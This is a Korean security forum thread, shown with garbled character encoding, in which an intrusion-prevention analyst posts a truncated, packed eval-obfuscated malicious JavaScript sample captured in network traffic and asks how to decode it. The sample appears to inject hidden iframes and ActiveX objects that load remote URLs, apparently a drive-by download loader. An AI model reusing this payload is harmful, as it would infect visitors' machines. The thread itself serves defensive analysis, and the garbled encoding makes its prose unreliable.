214, 3/11 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   yeastblue
   eval¿¡ ´ëÇؼ­

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_Web&no=77 [º¹»ç]


¾È³çÇϼ¼¿ä. IPS ¸ð´ÏÅ͸µÇÏ°í Àִ»ç¶÷ÀÔ´Ï´Ù. ¾î´À³¯ raw data¸¦ º¸´Ï eval·Î µÈ malicious javascript °ø°ÝÀÌ Áö¼ÓÀûÀ¸·Î µé¾î¿À´õ±º¿ä.  Src Ip°¡ Áö¼ÓÀûÀ¸·Î malicious javascript°¡ ÇÏ·ç¿¡ ¸îõ°Ç¾¿ µé¾î¿À°í ÀÖ½À´Ï´Ù. ¹®Á¦´Â ¹ØÀÇ raw data¸¦ µðÄÚµùÇÏ´Â °ÍÀε¥ deanÀÌ ¸¸µç malicious javascript °ø°ÝÀÌ ²Ï ºÐ¼®Çϱ⠾î·Æ´õ±º¿ä. Á˼ÛÇÏÁö¸¸ ¹ØÀÇ raw dataÀÇ µðÄÚµùÇÏ´Â ¹ýÁ» °¡¸£ÃÄ ÁֽʽÿÀ. ¤Ð.¤Ð alert´Â ÀÌ¹Ì ½áº¸¾Ò½À´Ï´Ù. ÇÏÁö¸¸ À߸øµÈ Àü¼ÛÀ̶ó¸é¼­ ¿¡·¯¸Þ½ÃÁö Æ˾÷âÀÌ ¶å´Ï´Ù.
=>eval(function(p,a,c,k,e,d)
{
        e=function(c)
        {
                return(c<a?'':e(parseInt(c/a)))+((c=c%a)35? String.fromCharCode(c+29):c.toString(36))
        };
if(!''.replace(/^/,String))
{
        while(c--)
        {
                d[e(c)]=k[c]||e(c)
        }
k=[function(e){        return d[e]}];e=function(){return'\\w+'};c=1};while(c--)
{
if(k[c])
        {
                p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])
        }
}
return p
}
('3 1w="b://O.p.k/I/";3 1x=[];3 K=1y D();K[0]=D("1u","0","2","",1,1r,0,0,1s,1t,0,"1z","1A","1G",1,0.4,"1H",1);3 1I=D("1E.c","E.c","H");3 B=[];3 z=[];3 A=[];3 F=[];3 y=[];3 G=[];B[0]="b://1B.p.k/1C/1D.1q?t=1p";z[0]="1c.c";A[0]="b://1d.1e.L/1b/?1a";F[0]="E.c";y[0]="H";G[0]="J";B[1]="b://17.18.19.L/1g.1m?1n=1o&1l=1k";z[1]="1i.c";A[1]="#";F[1]="E.c";y[1]="H";G[1]="J";3 24=25;3 2a=j;3 2b,2j;3 2h;P N(){u(!f.S("l")){3 a=f.2g("9");a.5="l";f.2f.2d(a);a.e.d=1;a.e.g=1;a.e.21="1Q"}3 i="ɡ 5=\\"1R\\" >";i+=M(\'b://O.p.k/I/1N.1S\',\'R\',\'R\',\'1Z\',\'\',\'\',\'20\');i+="</9>";3 r=f.S(\'l\');u(r){r.1U=i}}P M(v,w,h,5,q,s,o){u(1M.2e=="2c 29 1j"){3 n="<Q 1T=\'C j\' 2i=\'1W:1V-1X-1Y-1L-1O\' 15=\'12/x-11-10\' g=\'"+w+"\' d=\'"+h+"\' 5=\'"+5+"\' 6=\'"+5+"\' Y=\'Z\'>"+"ɠ 6=\'23\' 7=\'"+v+"\' />"+"ɠ 6=\'14\' 7=\'"+s+"\' />"+"ɠ 6=\'X\' 7=\'"+o+"\' />"+"ɠ 6=\'6\' 7=\'"+5+"\' />"+"ɠ 6=\'W\' 7=\'j\' />"+"ɠ 6=\'V\' 7=\'T\' />"+"ɠ 6=\'27\'7=\'13\' /

  Hit : 3315     Date : 2011/10/05 12:29



    
xzvsda ¼Ò½º ©¸°°Å °°Àºµ¥ ¿øº»À» ÷ºÎÆÄÀÏ·Î ¿Ã·ÁÁÖ¼¼¿ä 2011/10/05  
yeastblue ¿ª½Ã ©¸°°Í ¸ÂÁÒ?.¤Ð.¤Ð IPS¿¡¼­ ³ª¿Â raw data ÀÔ´Ï´Ù. ÷ºÎÆÄÀÏÀÌ ¾ø¾î¿ä.¤Ð.¤Ð ÇØ´ç Src IP¸¦ °¡µµ ÁغñÁßÀÔ´Ï´Ù.¸¸ Ç¥½ÃµÇ´Âµ¥ Src IP°¡ ¿©·¯±ºµ¥¿¡¼­ ¶È°°ÀÌ ÁغñÁßÀÔ´Ï´Ù¸¸ µÇ¾î ÀÖ½À´Ï´Ù.¤Ð.¤Ð À§¿¡ ºÎºÐ ©¸°ºÎºÐÀÌ¶óµµ Çؼ®ÀÌ ¾î´ÀÁ¤µµ °¡´ÉÇÑ°¡¿ä?.¤Ð.¤Ð 2011/10/05  
rocket07 ¸Û°¡ ÀÌ°Ç!! ¤¾¤¾ ±î¸®ÇÏ´Ù 2012/01/21  
174   SQL injection ±âº»     ewqqw
03/24 3180
173   ../ °æ·Î¿¡ ´ëÇÑ Áú¹®[1]     daydreamss
07/09 3188
172   À¥ ÇØÅ·À» ¹è¿ì°í½Í½À´Ï´Ù.     a12341z
04/05 3199
171   ¹®µæ ¶°¿À¸¥ Àǹ®Á¡ ÇϳªÀÔ´Ï´Ù!![1]     »ç¶û°ú·Î¸Á
12/07 3202
170   hackthissite.org ÀÇ basic 2¹ø¹®Á¦..[3]     $Zero
03/15 3212
169   À¥ÇØÅ· ¹è¿ï·Á°í ÇÕ´Ï´Ù[2]     aktrg1234
11/09 3216
168   À¥ÇØÅ·ÂÊÀ¸·Î ³ª°¡·Á´Â °íµùÀ©...[1]     lys105
01/28 3217
167   À¥ÇØÅ·À» °øºÎÇÏ°í ½ÍÀºµ¥¿ä ¹¹ºÎÅÍ °øºÎÇؾߵɱî¿ä??[2]     kkkod1150
01/27 3223
166   Å©·¡Å· ÇØÁֽǺР±¸ÇØ¿ä (ºÒ¹ýx) »ç·Êµå¸³´Ï´Ù.     mss0812
06/22 3227
165   À¥»çÀÌÆ® ÇØÅ·°ü·Ã ¹®Àǵ帳´Ï´Ù.[1]     chniow
02/27 3244
164   ½©·Î ÀÎÅÍ³Ý Á¢¼Ó     sean95
02/14 3251
163     Æķνº     zen0c1de
07/18 3264
162   À¥¿¡¼­ ¾²ÀÌ´Â ¾Ç¼º ½©Äڵ忡 ´ëÇØ..     likemuz2
04/08 3275
161   °ú¿¬ ´ëÇü °Ë»ö»çÀÌÆ® ¹ö±×... ¾ÆÁ÷ °¡´ÉÇÒ±î¿ä...?[2]     magpass
10/08 3285
160   À¥ÇØÅ·¿¡´ëÇÏ¿©[1]     °¡¸é¼ÓÀǹ̼Ò
04/20 3289
159   ÀÎDz ¹Ú½º ÀÓÀÇ º¯°æ ¹æ¹ý Áú¹®ÀÌ¿ä![4]     lmi
07/02 3292
158   À¥¼­¹ö ÇØÅ·¹× º¸¾È¿¡ °üÇÑ Áú¹®ÀÔ´Ï´Ù.[2]     laysiankim
07/15 3298
157   ftz level5 --> level6¿¡¼­¿ä[1]     31337ÇØÄ¿½º
08/10 3301
156   À¥½© º»ÁúÀûÀ¸·Î ¹æ¾îÇÒ¼ö ÀÖ´Â ¹æ¹ý?[1]     idbali
07/24 3308
  eval¿¡ ´ëÇؼ­[3]     yeastblue
10/05 3314
[1][2] 3 [4][5][6][7][8][9][10]..[11]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org